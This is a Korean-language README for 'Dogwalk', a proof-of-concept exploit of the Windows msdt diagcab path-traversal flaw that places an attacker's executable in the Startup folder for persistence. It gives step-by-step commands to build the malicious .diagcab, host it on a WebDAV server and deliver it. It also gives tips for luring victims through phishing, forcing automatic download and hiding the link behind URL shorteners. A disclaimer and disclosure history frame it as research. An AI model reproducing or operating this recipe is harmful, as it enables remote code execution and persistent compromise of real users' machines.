
🐾Dogwalk PoC (diagcab 파일을 사용하여 Windows에서 RCE를 얻기)
🚨 면책 조항 🚨
이 PoC를 통해 공격자는 Windows 피해자 장치에서 원격 코드 인젝션(Remote Code Injection)을 수행할 수 있습니다.
이 저장소의 목표는 <a href=https://github.com/irsl/microsoft-diagcab-rce-poc>초기 저장소보다 더 사용하기 쉽게 PoC를 만드는 것입니다.
사전 승인 없이 사용하지 마세요!
발생하는 피해와 공격의 용이성에 대해,Microsoft가 이 문제를 고쳐주길 바랍니다
2022년 7월 업데이트: Microsoft는 아직 msdt의 취약점을 패치하지 않았지만, Microsoft Defender는 이를 탐지할 수 있습니다.
핵심 개념: Microsoft의 Diagcab 기술(msdt)에서 원격 코드 실행으로 이어질 수 있는 경로 순회 취약점.
전체 권고는 블로그 게시물에서 확인할 수 있습니다.
이 취약점은 2년 동안 보고되었지만(@irsl), 여전히 수정되지 않았습니다!
이 개념 증명(PoC)은 악성 .diagcab 파일을 호스팅하는 webdav 서버를 설정하며, 해당 파일은 경로 순회(path traversal)를 수행하여 악성 실행 파일을 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup에 작성합니다. 이 폴더에 실행 파일을 작성하면 사용자가 Windows 머신을 시작할 때마다 실행되며, 이를 ***부팅 로그온 자동 시작 실행(Boot Logon Autostart Execution)***이라고 합니다.
그래서 기본적으로 필요한 것은 다음과 같습니다:
.diagcab 파일.diagcab 파일을 다운로드하게 되는 링크(피싱, 사회 공학, 등등)를 방문합니다.(💡 Content-type: application/octet-stream 응답 헤더를 사용하면 브라우저가 URL을 방문할 때 파일을 자동으로 다운로드하게 만들 수 있습니다)
단계별로 진행하기 귀찮다면(또는 서두르고 있다면):
./hurry-dogwalk.sh [WEBDAV_URL] # need docker
# Stop the server
./hurry-dogwalk.sh --clean
그렇지 않으면 ↓↓
.diagcab 파일 제작하기.diagcfg는 하나 이상의 진단 패키지에 대한 참조를 보관하고 이에 대한 메타 정보를 제공하는 간단한 XML 파일입니다..diagcab 확장자로 저장됩니다.먼저 custom.diagcfg를 빌드합니다:
./build-malicious-diagcfg.sh --url [WEBDAV_URL]
그리고 hotfix895214.diagcab를 빌드합니다:
cabarc.exe n hotfix895214.diagcab custom.diagcfg
# run it on windows (or with wine). If you do not find carbarc.exe use http://jc.bellamy.free.fr/download/cabarc.exe or http://download.microsoft.com/download/platformsdk/cab/2.0/w98nt42kmexp/en-us/Cabsdk.exe
마지막으로, 해당 파일을 ./webdav/diagcab-webdav-poc/config 디렉터리로 이동합니다.
피해자 머신에 전송하려는 실행 파일을 ./webdav/malicious 디렉터리에 넣으세요... (여기서는 전형적인 calc.exe를 사용합니다)
...그리고 서버를 실행합니다:
cd ./webdav/diagcab-webdav-poc/
perl diagcab-webdav-poc.pl
악성 .diagcab 파일은 https://[WEBDAV_URL]/config/hotfix895214.diagcab에서 확인할 수 있습니다. 이제 피해자가 이 링크를 클릭하도록 유도해야 합니다.
(💡 의심스러워 보이지 않도록 URL 단축 서비스를 사용할 수 있습니다)
🐾🐾
